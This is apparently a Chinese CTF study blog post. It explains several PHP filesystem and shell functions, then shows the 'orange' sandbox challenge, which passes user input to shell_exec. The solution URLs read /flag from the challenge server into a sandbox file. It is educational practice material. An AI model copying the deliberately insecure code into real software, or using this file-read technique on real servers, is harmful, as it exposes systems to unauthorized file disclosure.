end的学习 21-4-20

mkdir

创建权限为777的目录:mkdir -m 777 test3

通过 mkdir 命令可以实现在指定位置创建以 DirName(指定的文件名)命名的文件夹或目录。要创建文件夹或目录的用户必须对所创建的文件夹的父文件夹具有写权限。并且,所创建的文件夹(目录)不能与其父目录(即父文件夹)中的文件名重名,即同一个目录下不能有同名的(区分大小写)。

chdir()
chdir() 函数改变当前的目录。

<?php
// Get current directory
echo getcwd() . "<br>";// /home/php

// Change directory
chdir("images");

// Get current directory
echo getcwd();//  /home/php/images 
?> 

shell_exec
shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。

 shell_exec ( string $cmd ) : string  //cmd 要执行的命令

escapeshellarg
escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数

 escapeshellarg ( string $arg ) : string//escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含 exec(), system() 执行运算符 。 

pathinfo() 函数
pathinfo() 函数以数组的形式返回文件路径的信息。

pathinfo(path,options)

basename函数
basename() 函数返回路径中的文件名部分。

basename(path,suffix)

参数 描述
path 必需。规定要检查的路径。
suffix 可选。规定文件扩展名。 有suffix,则不会输出这个扩展名。

file_put_contents
file_put_contents — 将一个字符串写入文件

 file_put_contents ( string $filename , mixed $data , int $flags = 0 , resource $context = ? ) : int

filename:
要被写入数据的文件名。
data:
要写入的数据。类型可以是 string,array 或者是 stream 资源(如上面所说的那样)。如果 data 指定为 stream 资源,这里 stream 中所保存的缓存数据将被写入到指定文件中,这种用法就相似于使用 stream_copy_to_stream() 函数。
参数 data 可以是数组(但不能为多维数组),这就相当于 file_put_contents($filename, join(’’, $array))。
flags:
flags 的值可以是 以下 flag 使用 OR (|) 运算符进行的组合。

题目:

<?php 
    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); 
    @mkdir($sandbox); 
    @chdir($sandbox); 

    $data = shell_exec("GET " . escapeshellarg($_GET["url"])); 
    $info = pathinfo($_GET["filename"]); 
    $dir  = str_replace(".", "", basename($info["dirname"])); 
    @mkdir($dir); 
    @chdir($dir); 
    @file_put_contents(basename($info["basename"]), $data); 
    highlight_file(__FILE__);
http://www.bmzclub.cn:20431/sandbox/edce46c67c1141eb10f7102c087bd736
http://www.bmzclub.cn:20431/sandbox/?url=/&filename=aaa
http://www.bmzclub.cn:20431/sandbox/edce46c67c1141eb10f7102c087bd736/aaa
http://www.bmzclub.cn:20431/?url=/flag&filename=flag.txt
http://www.bmzclub.cn:20431/sandbox/edce46c67c1141eb10f7102c087bd736/flag.txt

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值